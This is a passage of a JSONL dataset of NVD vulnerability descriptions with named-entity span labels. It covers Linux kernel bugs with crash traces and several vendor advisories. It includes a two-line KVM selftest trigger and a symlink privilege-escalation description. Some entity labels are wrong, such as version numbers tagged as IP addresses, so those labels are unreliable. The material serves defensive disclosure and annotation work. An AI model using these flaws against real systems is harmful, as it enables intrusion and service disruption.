pci_get_device+0x4f/0x70\n[ 5267.196496]  ice_sriov_configure+0x78/0x1a0 [ice]\n[ 5267.196995]  sriov_numvfs_store+0xfe/0x140\n[ 5267.197466]  kernfs_fop_write_iter+0x12e/0x1c0\n[ 5267.197918]  new_sync_write+0x10c/0x190\n[ 5267.198404]  vfs_write+0x24e/0x2d0\n[ 5267.198886]  ksys_write+0x5c/0xd0\n[ 5267.199367]  do_syscall_64+0x3a/0x80\n[ 5267.199827]  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[ 5267.200317] RIP: 0033:0x7f5b381205c8\n[ 5267.200814] RSP: 002b:00007fff8c7e8c78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[ 5267.201981] RAX: ffffffffffffffda RBX: 0000000000000002 RCX: 00007f5b381205c8\n[ 5267.202620] RDX: 0000000000000002 RSI: 00005569420ee900 RDI: 0000000000000001\n[ 5267.203426] RBP: 00005569420ee900 R08: 000000000000000a R09: 00007f5b38180820\n[ 5267.204327] R10: 000000000000000a R11: 0000000000000246 R12: 00007f5b383c06e0\n[ 5267.205193] R13: 0000000000000002 R14: 00007f5b383bb880 R15: 0000000000000002\n[ 5267.206041]  </TASK>\n[ 5267.206970] Kernel panic - not syncing: hung_task: blocked tasks\n[ 5267.207809] CPU: 48 PID: 551 Comm: khungtaskd Kdump: loaded Tainted: G S          E     5.18.0-04958-ga54ce3703613-dirty #1\n[ 5267.208726] Hardware name: Dell Inc. PowerEdge R730/0WCJNT, BIOS 2.11.0 11/02/2019\n[ 5267.209623] Call Trace:\n[ 5267.210569]  <TASK>\n[ 5267.211480]  dump_stack_lvl+0x33/0x42\n[ 5267.212472]  panic+0x107/0x294\n[ 5267.213467]  watchdog.cold.8+0xc/0xbb\n[ 5267.214413]  ? proc_dohung_task_timeout_secs+0x30/0x30\n[ 5267.215511]  kthread+0xf4/0x120\n[ 5267.216459]  ? kthread_complete_and_exit+0x20/0x20\n[ 5267.217505]  ret_from_fork+0x22/0x30\n[ 5267.218459]  </TASK>", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[823, 862]], "FILEPATH: /02/2019": [[2931, 2939]], "FILEPATH: repro.sh": [[664, 672], [907, 915]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[2884, 2888]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50053"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: core: Fix ufshcd_clear_cmd racing issue\n\nWhen ufshcd_clear_cmd is racing with the completion ISR, the completed tag\nof the request's mq_hctx pointer will be set to NULL by the ISR.  And\nufshcd_clear_cmd's call to ufshcd_mcq_req_to_hwq will get NULL pointer KE.\nReturn success when the request is completed by ISR because sq does not\nneed cleanup.\n\nThe racing flow is:\n\nThread A\nufshcd_err_handler\t\t\t\t\tstep 1\n\tufshcd_try_to_abort_task\n\t\tufshcd_cmd_inflight(true)\t\tstep 3\n\t\tufshcd_clear_cmd\n\t\t\t...\n\t\t\tufshcd_mcq_req_to_hwq\n\t\t\tblk_mq_unique_tag\n\t\t\t\trq->mq_hctx->queue_num\tstep 5\n\nThread B\nufs_mtk_mcq_intr(cq complete ISR)\t\t\tstep 2\n\tscsi_done\n\t\t...\n\t\t__blk_mq_free_request\n\t\t\trq->mq_hctx = NULL;\t\tstep 4\n\nBelow is KE back trace:\n\n  ufshcd_try_to_abort_task: cmd pending in the device. tag = 6\n  Unable to handle kernel NULL pointer dereference at virtual address 0000000000000194\n   pc : [0xffffffd589679bf8] blk_mq_unique_tag+0x8/0x14\n   lr : [0xffffffd5862f95b4] ufshcd_mcq_sq_cleanup+0x6c/0x1cc [ufs_mediatek_mod_ise]\n   Workqueue: ufs_eh_wq_0 ufshcd_err_handler [ufs_mediatek_mod_ise]\n   Call trace:\n    dump_backtrace+0xf8/0x148\n    show_stack+0x18/0x24\n    dump_stack_lvl+0x60/0x7c\n    dump_stack+0x18/0x3c\n    mrdump_common_die+0x24c/0x398 [mrdump]\n    ipanic_die+0x20/0x34 [mrdump]\n    notify_die+0x80/0xd8\n    die+0x94/0x2b8\n    __do_kernel_fault+0x264/0x298\n    do_page_fault+0xa4/0x4b8\n    do_translation_fault+0x38/0x54\n    do_mem_abort+0x58/0x118\n    el1_abort+0x3c/0x5c\n    el1h_64_sync_handler+0x54/0x90\n    el1h_64_sync+0x68/0x6c\n    blk_mq_unique_tag+0x8/0x14\n    ufshcd_clear_cmd+0x34/0x118 [ufs_mediatek_mod_ise]\n    ufshcd_try_to_abort_task+0x2c8/0x5b4 [ufs_mediatek_mod_ise]\n    ufshcd_err_handler+0xa7c/0xfa8 [ufs_mediatek_mod_ise]\n    process_one_work+0x208/0x4fc\n    worker_thread+0x228/0x438\n    kthread+0x104/0x1d4\n    ret_from_fork+0x10/0x20", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[896, 920]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41054"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmc91x: fix broken irq-context in PREEMPT_RT\n\nWhen smc91x.c is built with PREEMPT_RT, the following splat occurs\nin FVP_RevC:\n\n[   13.055000] smc91x LNRO0003:00 eth0: link up, 10Mbps, half-duplex, lpa 0x0000\n[   13.062137] BUG: workqueue leaked atomic, lock or RCU: kworker/2:1[106]\n[   13.062137]      preempt=0x00000000 lock=0->0 RCU=0->1 workfn=mld_ifc_work\n[   13.062266] C\n** replaying previous printk message **\n[   13.062266] CPU: 2 UID: 0 PID: 106 Comm: kworker/2:1 Not tainted 6.18.0-dirty #179 PREEMPT_{RT,(full)}\n[   13.062353] Hardware name:  , BIOS\n[   13.062382] Workqueue: mld mld_ifc_work\n[   13.062469] Call trace:\n[   13.062494]  show_stack+0x24/0x40 (C)\n[   13.062602]  __dump_stack+0x28/0x48\n[   13.062710]  dump_stack_lvl+0x7c/0xb0\n[   13.062818]  dump_stack+0x18/0x34\n[   13.062926]  process_scheduled_works+0x294/0x450\n[   13.063043]  worker_thread+0x260/0x3d8\n[   13.063124]  kthread+0x1c4/0x228\n[   13.063235]  ret_from_fork+0x10/0x20\n\nThis happens because smc_special_trylock() disables IRQs even on PREEMPT_RT,\nbut smc_special_unlock() does not restore IRQs on PREEMPT_RT.\nThe reason is that smc_special_unlock() calls spin_unlock_irqrestore(),\nand rcu_read_unlock_bh() in __dev_queue_xmit() cannot invoke\nrcu_read_unlock() through __local_bh_enable_ip() when current->softirq_disable_cnt becomes zero.\n\nTo address this issue, replace smc_special_trylock() with spin_trylock_irqsave().", "spans": {"FILEPATH: smc91x.c": [[120, 128]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71132"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nSVM: Check instead of asserting on nested TSC scaling support\n\nCheck for nested TSC scaling support on nested SVM VMRUN instead of\nasserting that TSC scaling is exposed to L1 if L1's MSR_AMD64_TSC_RATIO\nhas diverged from KVM's default.  Userspace can trigger the WARN at will\nby writing the MSR and then updating guest CPUID to hide the feature\n(modifying guest CPUID is allowed anytime before KVM_RUN).  E.g. hacking\nKVM's state_test selftest to do\n\n\t\tvcpu_set_msr(vcpu, MSR_AMD64_TSC_RATIO, 0);\n\t\tvcpu_clear_cpuid_feature(vcpu, X86_FEATURE_TSCRATEMSR);\n\nafter restoring state in a new VM+vCPU yields an endless supply of:\n\n  ------------[ cut here ]------------\n  WARNING: CPU: 164 PID: 62565 at arch/x86/kvm/svm/nested.c:699\n           nested_vmcb02_prepare_control+0x3d6/0x3f0 [kvm_amd]\n  Call Trace:\n   <TASK>\n   enter_svm_guest_mode+0x114/0x560 [kvm_amd]\n   nested_svm_vmrun+0x260/0x330 [kvm_amd]\n   vmrun_interception+0x29/0x30 [kvm_amd]\n   svm_invoke_exit_handler+0x35/0x100 [kvm_amd]\n   svm_handle_exit+0xe7/0x180 [kvm_amd]\n   kvm_arch_vcpu_ioctl_run+0x1eab/0x2570 [kvm]\n   kvm_vcpu_ioctl+0x4c9/0x5b0 [kvm]\n   __se_sys_ioctl+0x7a/0xc0\n   __x64_sys_ioctl+0x21/0x30\n   do_syscall_64+0x41/0x90\n   entry_SYSCALL_64_after_hwframe+0x63/0xcd\n  RIP: 0033:0x45ca1b\n\nNote, the nested #VMEXIT path has the same flaw, but needs a different\nfix and will be handled separately.", "spans": {"FILEPATH: /x86/kvm/svm/nested.c": [[777, 798]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72], [296, 299], [493, 496]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53663"}}
{"text": "multipath-tools 0.7.7 through 0.9.x before 0.9.2 allows local users to obtain root access, as exploited in conjunction with CVE-2022-41974. Local users able to access /dev/shm can change symlinks in multipathd due to incorrect symlink handling, which could lead to controlled file writes outside of the /dev/shm directory. This could be used indirectly for local privilege escalation to root.", "spans": {"CVE_ID: CVE-2022-41974": [[124, 138]], "FILEPATH: /dev/shm": [[167, 175], [303, 311]], "VULNERABILITY: privilege escalation": [[363, 383]], "VULNERABILITY: symlink": [[227, 234]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41973"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntty: serial: qcom-geni-serial: fix slab-out-of-bounds on RX FIFO buffer\n\nDriver's probe allocates memory for RX FIFO (port->rx_fifo) based on\ndefault RX FIFO depth, e.g. 16.  Later during serial startup the\nqcom_geni_serial_port_setup() updates the RX FIFO depth\n(port->rx_fifo_depth) to match real device capabilities, e.g. to 32.\n\nThe RX UART handle code will read \"port->rx_fifo_depth\" number of words\ninto \"port->rx_fifo\" buffer, thus exceeding the bounds.  This can be\nobserved in certain configurations with Qualcomm Bluetooth HCI UART\ndevice and KASAN:\n\n  Bluetooth: hci0: QCA Product ID   :0x00000010\n  Bluetooth: hci0: QCA SOC Version  :0x400a0200\n  Bluetooth: hci0: QCA ROM Version  :0x00000200\n  Bluetooth: hci0: QCA Patch Version:0x00000d2b\n  Bluetooth: hci0: QCA controller version 0x02000200\n  Bluetooth: hci0: QCA Downloading qca/htbtfw20.tlv\n  bluetooth hci0: Direct firmware load for qca/htbtfw20.tlv failed with error -2\n  Bluetooth: hci0: QCA Failed to request file: qca/htbtfw20.tlv (-2)\n  Bluetooth: hci0: QCA Failed to download patch (-2)\n  ==================================================================\n  BUG: KASAN: slab-out-of-bounds in handle_rx_uart+0xa8/0x18c\n  Write of size 4 at addr ffff279347d578c0 by task swapper/0/0\n\n  CPU: 0 PID: 0 Comm: swapper/0 Not tainted 6.1.0-rt5-00350-gb2450b7e00be-dirty #26\n  Hardware name: Qualcomm Technologies, Inc. Robotics RB5 (DT)\n  Call trace:\n   dump_backtrace.part.0+0xe0/0xf0\n   show_stack+0x18/0x40\n   dump_stack_lvl+0x8c/0xb8\n   print_report+0x188/0x488\n   kasan_report+0xb4/0x100\n   __asan_store4+0x80/0xa4\n   handle_rx_uart+0xa8/0x18c\n   qcom_geni_serial_handle_rx+0x84/0x9c\n   qcom_geni_serial_isr+0x24c/0x760\n   __handle_irq_event_percpu+0x108/0x500\n   handle_irq_event+0x6c/0x110\n   handle_fasteoi_irq+0x138/0x2cc\n   generic_handle_domain_irq+0x48/0x64\n\nIf the RX FIFO depth changes after probe, be sure to resize the buffer.", "spans": {"FILEPATH: /0/0": [[1319, 1323]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[583, 591], [1426, 1434]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48871"}}
{"text": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as unauthorized read access to a subset of Oracle WebLogic Server accessible data. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 10.3.6.0": [[143, 151]], "IP_ADDRESS: 12.1.3.0": [[155, 163]], "IP_ADDRESS: 12.2.1.3": [[167, 175]], "IP_ADDRESS: 12.2.1.4": [[182, 190]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [302, 308], [443, 449], [632, 638], [722, 728]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2547"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Clear tcp_sk(sk)->fastopen_rsk in tcp_disconnect().\n\nsyzbot reported the splat below where a socket had tcp_sk(sk)->fastopen_rsk\nin the TCP_ESTABLISHED state. [0]\n\nsyzbot reused the server-side TCP Fast Open socket as a new client before\nthe TFO socket completes 3WHS:\n\n  1. accept()\n  2. connect(AF_UNSPEC)\n  3. connect() to another destination\n\nAs of accept(), sk->sk_state is TCP_SYN_RECV, and tcp_disconnect() changes\nit to TCP_CLOSE and makes connect() possible, which restarts timers.\n\nSince tcp_disconnect() forgot to clear tcp_sk(sk)->fastopen_rsk, the\nretransmit timer triggered the warning and the intended packet was not\nretransmitted.\n\nLet's call reqsk_fastopen_remove() in tcp_disconnect().\n\n[0]:\nWARNING: CPU: 2 PID: 0 at net/ipv4/tcp_timer.c:542 tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7))\nModules linked in:\nCPU: 2 UID: 0 PID: 0 Comm: swapper/2 Not tainted 6.17.0-rc5-g201825fb4278 #62 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7))\nCode: 41 55 41 54 55 53 48 8b af b8 08 00 00 48 89 fb 48 85 ed 0f 84 55 01 00 00 0f b6 47 12 3c 03 74 0c 0f b6 47 12 3c 04 74 04 90 <0f> 0b 90 48 8b 85 c0 00 00 00 48 89 ef 48 8b 40 30 e8 6a 4f 06 3e\nRSP: 0018:ffffc900002f8d40 EFLAGS: 00010293\nRAX: 0000000000000002 RBX: ffff888106911400 RCX: 0000000000000017\nRDX: 0000000002517619 RSI: ffffffff83764080 RDI: ffff888106911400\nRBP: ffff888106d5c000 R08: 0000000000000001 R09: ffffc900002f8de8\nR10: 00000000000000c2 R11: ffffc900002f8ff8 R12: ffff888106911540\nR13: ffff888106911480 R14: ffff888106911840 R15: ffffc900002f8de0\nFS:  0000000000000000(0000) GS:ffff88907b768000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f8044d69d90 CR3: 0000000002c30003 CR4: 0000000000370ef0\nCall Trace:\n <IRQ>\n tcp_write_timer (net/ipv4/tcp_timer.c:738)\n call_timer_fn (kernel/time/timer.c:1747)\n __run_timers (kernel/time/timer.c:1799 kernel/time/timer.c:2372)\n timer_expire_remote (kernel/time/timer.c:2385 kernel/time/timer.c:2376 kernel/time/timer.c:2135)\n tmigr_handle_remote_up (kernel/time/timer_migration.c:944 kernel/time/timer_migration.c:1035)\n __walk_groups.isra.0 (kernel/time/timer_migration.c:533 (discriminator 1))\n tmigr_handle_remote (kernel/time/timer_migration.c:1096)\n handle_softirqs (./arch/x86/include/asm/jump_label.h:36 ./include/trace/events/irq.h:142 kernel/softirq.c:580)\n irq_exit_rcu (kernel/softirq.c:614 kernel/softirq.c:453 kernel/softirq.c:680 kernel/softirq.c:696)\n sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1050 (discriminator 35) arch/x86/kernel/apic/apic.c:1050 (discriminator 35))\n </IRQ>", "spans": {"FILEPATH: /ipv4/tcp_timer.c": [[813, 830], [860, 877], [1146, 1163], [1994, 2011]], "FILEPATH: /01/2014": [[1102, 1110]], "FILEPATH: /time/timer.c": [[2039, 2052], [2080, 2093], [2105, 2118], [2153, 2166], [2178, 2191], [2203, 2216]], "FILEPATH: /time/timer_migration.c": [[2254, 2277], [2288, 2311], [2347, 2370], [2422, 2445]], "FILEPATH: /arch/x86/include/asm/jump_label.h": [[2471, 2505]], "FILEPATH: /include/trace/events/irq.h": [[2510, 2537]], "FILEPATH: /x86/kernel/apic/apic.c": [[2698, 2721], [2750, 2773]], "FILEPATH: softirq.c": [[2549, 2558], [2586, 2595], [2607, 2616], [2628, 2637], [2649, 2658]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1032, 1036]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39955"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: Avoid undefined behavior: applying zero offset to null pointer\n\nACPICA commit 770653e3ba67c30a629ca7d12e352d83c2541b1e\n\nBefore this change we see the following UBSAN stack trace in Fuchsia:\n\n  #0    0x000021e4213b3302 in acpi_ds_init_aml_walk(struct acpi_walk_state*, union acpi_parse_object*, struct acpi_namespace_node*, u8*, u32, struct acpi_evaluate_info*, u8) ../../third_party/acpica/source/components/dispatcher/dswstate.c:682 <platform-bus-x86.so>+0x233302\n  #1.2  0x000020d0f660777f in ubsan_get_stack_trace() compiler-rt/lib/ubsan/ubsan_diag.cpp:41 <libclang_rt.asan.so>+0x3d77f\n  #1.1  0x000020d0f660777f in maybe_print_stack_trace() compiler-rt/lib/ubsan/ubsan_diag.cpp:51 <libclang_rt.asan.so>+0x3d77f\n  #1    0x000020d0f660777f in ~scoped_report() compiler-rt/lib/ubsan/ubsan_diag.cpp:387 <libclang_rt.asan.so>+0x3d77f\n  #2    0x000020d0f660b96d in handlepointer_overflow_impl() compiler-rt/lib/ubsan/ubsan_handlers.cpp:809 <libclang_rt.asan.so>+0x4196d\n  #3    0x000020d0f660b50d in compiler-rt/lib/ubsan/ubsan_handlers.cpp:815 <libclang_rt.asan.so>+0x4150d\n  #4    0x000021e4213b3302 in acpi_ds_init_aml_walk(struct acpi_walk_state*, union acpi_parse_object*, struct acpi_namespace_node*, u8*, u32, struct acpi_evaluate_info*, u8) ../../third_party/acpica/source/components/dispatcher/dswstate.c:682 <platform-bus-x86.so>+0x233302\n  #5    0x000021e4213e2369 in acpi_ds_call_control_method(struct acpi_thread_state*, struct acpi_walk_state*, union acpi_parse_object*) ../../third_party/acpica/source/components/dispatcher/dsmethod.c:605 <platform-bus-x86.so>+0x262369\n  #6    0x000021e421437fac in acpi_ps_parse_aml(struct acpi_walk_state*) ../../third_party/acpica/source/components/parser/psparse.c:550 <platform-bus-x86.so>+0x2b7fac\n  #7    0x000021e4214464d2 in acpi_ps_execute_method(struct acpi_evaluate_info*) ../../third_party/acpica/source/components/parser/psxface.c:244 <platform-bus-x86.so>+0x2c64d2\n  #8    0x000021e4213aa052 in acpi_ns_evaluate(struct acpi_evaluate_info*) ../../third_party/acpica/source/components/namespace/nseval.c:250 <platform-bus-x86.so>+0x22a052\n  #9    0x000021e421413dd8 in acpi_ns_init_one_device(acpi_handle, u32, void*, void**) ../../third_party/acpica/source/components/namespace/nsinit.c:735 <platform-bus-x86.so>+0x293dd8\n  #10   0x000021e421429e98 in acpi_ns_walk_namespace(acpi_object_type, acpi_handle, u32, u32, acpi_walk_callback, acpi_walk_callback, void*, void**) ../../third_party/acpica/source/components/namespace/nswalk.c:298 <platform-bus-x86.so>+0x2a9e98\n  #11   0x000021e4214131ac in acpi_ns_initialize_devices(u32) ../../third_party/acpica/source/components/namespace/nsinit.c:268 <platform-bus-x86.so>+0x2931ac\n  #12   0x000021e42147c40d in acpi_initialize_objects(u32) ../../third_party/acpica/source/components/utilities/utxfinit.c:304 <platform-bus-x86.so>+0x2fc40d\n  #13   0x000021e42126d603 in acpi::acpi_impl::initialize_acpi(acpi::acpi_impl*) ../../src/devices/board/lib/acpi/acpi-impl.cc:224 <platform-bus-x86.so>+0xed603\n\nAdd a simple check that avoids incrementing a pointer by zero, but\notherwise behaves as before. Note that our findings are against ACPICA\n20221020, but the same code exists on master.", "spans": {"HASH: 770653e3ba67c30a629ca7d12e352d83c2541b1e": [[155, 195]], "FILEPATH: /../third_party/acpica/source/components/dispatcher/dswstate.c": [[444, 506], [1326, 1388]], "FILEPATH: /lib/ubsan/ubsan_diag.cpp": [[607, 632], [733, 758], [850, 875]], "FILEPATH: /lib/ubsan/ubsan_handlers.cpp": [[981, 1010], [1086, 1115]], "FILEPATH: /../third_party/acpica/source/components/dispatcher/dsmethod.c": [[1562, 1624]], "FILEPATH: /../third_party/acpica/source/components/parser/psparse.c": [[1735, 1792]], "FILEPATH: /../third_party/acpica/source/components/parser/psxface.c": [[1911, 1968]], "FILEPATH: /../third_party/acpica/source/components/namespace/nseval.c": [[2081, 2140]], "FILEPATH: /../third_party/acpica/source/components/namespace/nsinit.c": [[2265, 2324], [2670, 2729]], "FILEPATH: /../third_party/acpica/source/components/namespace/nswalk.c": [[2511, 2570]], "FILEPATH: /../third_party/acpica/source/components/utilities/utxfinit.c": [[2826, 2887]], "FILEPATH: /../src/devices/board/lib/acpi/acpi-impl.cc": [[3006, 3049]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53182"}}
{"text": "The Web server component of TIBCO Software Inc.'s TIBCO EBX, TIBCO EBX, TIBCO EBX, TIBCO EBX Add-ons, TIBCO EBX Add-ons, TIBCO EBX Add-ons, and TIBCO Product and Service Catalog powered by TIBCO EBX contains an easily exploitable vulnerability that allows a low privileged attacker with network access to execute Stored Cross Site Scripting (XSS) on the affected system. A successful attack using this vulnerability requires human interaction from a person other than the attacker. Affected releases are TIBCO Software Inc.'s TIBCO EBX: versions 5.8.124 and below, TIBCO EBX: versions 5.9.3, 5.9.4, 5.9.5, 5.9.6, 5.9.7, 5.9.8, 5.9.9, 5.9.10, 5.9.11, 5.9.12, 5.9.13, 5.9.14, and 5.9.15, TIBCO EBX: versions 6.0.0, 6.0.1, 6.0.2, and 6.0.3, TIBCO EBX Add-ons: versions 3.20.18 and below, TIBCO EBX Add-ons: versions 4.1.0, 4.2.0, 4.2.1, 4.2.2, 4.3.0, 4.3.1, 4.3.2, 4.3.3, 4.3.4, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, and 4.5.6, TIBCO EBX Add-ons: versions 5.0.0, 5.0.1, 5.1.0, 5.1.1, and 5.2.0, and TIBCO Product and Service Catalog powered by TIBCO EBX: versions 1.1.0 and below.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22769"}}
{"text": "Vulnerability in the Oracle Communications Diameter Signaling Router (DSR) product of Oracle Communications (component: User Interface). Supported versions that are affected are 8.0.0.0-8.4.0.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Diameter Signaling Router (DSR). Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Communications Diameter Signaling Router (DSR), attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Communications Diameter Signaling Router (DSR) accessible data as well as unauthorized read access to a subset of Oracle Communications Diameter Signaling Router (DSR) accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 8.0.0.0": [[178, 185]], "IP_ADDRESS: 8.4.0.5": [[186, 193]], "ORGANIZATION: Oracle": [[21, 27], [86, 92], [302, 308], [474, 480], [694, 700], [815, 821]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14787"}}
{"text": "An Unchecked Return Value vulnerability in the user interfaces to the Juniper Networks Junos OS and Junos OS Evolved, the CLI, the XML API, the XML Management Protocol, the NETCONF Management Protocol, the gNMI interfaces, and the J-Web User Interfaces causes unintended effects such as demotion or elevation of privileges associated with an operators actions to occur.\n\nMultiple scenarios may occur; for example: privilege escalation over the device or another account, access to files that should not otherwise be accessible, files not being accessible where they should be accessible, code expected to run as non-root may run as root, and so forth.\n\nThis issue affects:\n\nJuniper Networks Junos OS\n\n\n\n  *  All versions prior to 20.4R3-S7;\n  *  21.1 versions prior to 21.1R3-S5;\n  *  21.2 versions prior to 21.2R3-S5;\n  *  21.3 versions prior to 21.3R3-S4;\n  *  21.4 versions prior to 21.4R3-S3;\n  *  22.1 versions prior to 22.1R3-S2;\n  *  22.2 versions prior to 22.2R2-S2, 22.2R3;\n  *  22.3 versions prior to 22.3R1-S2, 22.3R2.\n\n\n\n\nJuniper Networks Junos OS Evolved\n\n\n\n  *  All versions prior to 21.4R3-S3-EVO;\n  *  22.1-EVO version 22.1R1-EVO and later versions prior to 22.2R2-S2-EVO, 22.2R3-EVO;\n  *  22.3-EVO versions prior to 22.3R1-S2-EVO, 22.3R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[70, 77], [674, 681], [1034, 1041]], "VULNERABILITY: privilege escalation": [[414, 434]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44182"}}
{"text": "go-merkledag implements the 'DAGService' interface and adds two ipld node types, Protobuf and Raw for the ipfs project. A `ProtoNode` may be modified in such a way as to cause various encode errors which will trigger a panic on common method calls that don't allow for error returns. A `ProtoNode` should only be able to encode to valid DAG-PB, attempting to encode invalid DAG-PB forms will result in an error from the codec. Manipulation of an existing (newly created or decoded) `ProtoNode` using the modifier methods did not account for certain states that would place the `ProtoNode` into an unencodeable form. Due to conformance with the [`github.com/ipfs/go-block-format#Block`](https://pkg.go.dev/github.com/ipfs/go-block-format#Block) and [`github.com/ipfs/go-ipld-format#Node`](https://pkg.go.dev/github.com/ipfs/go-ipld-format#Node) interfaces, certain methods, which internally require a re-encode if state has changed, will panic due to the inability to return an error. This issue has been addressed across a number of pull requests. Users are advised to upgrade to version 0.8.1 for a complete set of fixes. Users unable to upgrade may attempt to mitigate this issue by sanitising inputs when allowing user-input to set a new `CidBuilder` on a `ProtoNode` and by sanitising `Tsize` (`Link#Size`) values such that they are a reasonable byte-size for sub-DAGs where derived from user-input.", "spans": {"URL: https://pkg.go.dev/github.com/ipfs/go-block-format#Block": [[686, 742]], "URL: https://pkg.go.dev/github.com/ipfs/go-ipld-format#Node": [[788, 842]], "DOMAIN: github.com": [[646, 656], [750, 760]], "FILEPATH: /ipfs/go-block-format": [[656, 677]], "FILEPATH: /ipfs/go-ipld-format": [[760, 780]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23495"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mscc: ocelot: Fix use-after-free caused by cyclic delayed work\n\nThe origin code calls cancel_delayed_work() in ocelot_stats_deinit()\nto cancel the cyclic delayed work item ocelot->stats_work. However,\ncancel_delayed_work() may fail to cancel the work item if it is already\nexecuting. While destroy_workqueue() does wait for all pending work items\nin the work queue to complete before destroying the work queue, it cannot\nprevent the delayed work item from being rescheduled within the\nocelot_check_stats_work() function. This limitation exists because the\ndelayed work item is only enqueued into the work queue after its timer\nexpires. Before the timer expiration, destroy_workqueue() has no visibility\nof this pending work item. Once the work queue appears empty,\ndestroy_workqueue() proceeds with destruction. When the timer eventually\nexpires, the delayed work item gets queued again, leading to the following\nwarning:\n\nworkqueue: cannot queue ocelot_check_stats_work on wq ocelot-switch-stats\nWARNING: CPU: 2 PID: 0 at kernel/workqueue.c:2255 __queue_work+0x875/0xaf0\n...\nRIP: 0010:__queue_work+0x875/0xaf0\n...\nRSP: 0018:ffff88806d108b10 EFLAGS: 00010086\nRAX: 0000000000000000 RBX: 0000000000000101 RCX: 0000000000000027\nRDX: 0000000000000027 RSI: 0000000000000004 RDI: ffff88806d123e88\nRBP: ffffffff813c3170 R08: 0000000000000000 R09: ffffed100da247d2\nR10: ffffed100da247d1 R11: ffff88806d123e8b R12: ffff88800c00f000\nR13: ffff88800d7285c0 R14: ffff88806d0a5580 R15: ffff88800d7285a0\nFS:  0000000000000000(0000) GS:ffff8880e5725000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fe18e45ea10 CR3: 0000000005e6c000 CR4: 00000000000006f0\nCall Trace:\n <IRQ>\n ? kasan_report+0xc6/0xf0\n ? __pfx_delayed_work_timer_fn+0x10/0x10\n ? __pfx_delayed_work_timer_fn+0x10/0x10\n call_timer_fn+0x25/0x1c0\n __run_timer_base.part.0+0x3be/0x8c0\n ? __pfx_delayed_work_timer_fn+0x10/0x10\n ? rcu_sched_clock_irq+0xb06/0x27d0\n ? __pfx___run_timer_base.part.0+0x10/0x10\n ? try_to_wake_up+0xb15/0x1960\n ? _raw_spin_lock_irq+0x80/0xe0\n ? __pfx__raw_spin_lock_irq+0x10/0x10\n tmigr_handle_remote_up+0x603/0x7e0\n ? __pfx_tmigr_handle_remote_up+0x10/0x10\n ? sched_balance_trigger+0x1c0/0x9f0\n ? sched_tick+0x221/0x5a0\n ? _raw_spin_lock_irq+0x80/0xe0\n ? __pfx__raw_spin_lock_irq+0x10/0x10\n ? tick_nohz_handler+0x339/0x440\n ? __pfx_tmigr_handle_remote_up+0x10/0x10\n __walk_groups.isra.0+0x42/0x150\n tmigr_handle_remote+0x1f4/0x2e0\n ? __pfx_tmigr_handle_remote+0x10/0x10\n ? ktime_get+0x60/0x140\n ? lapic_next_event+0x11/0x20\n ? 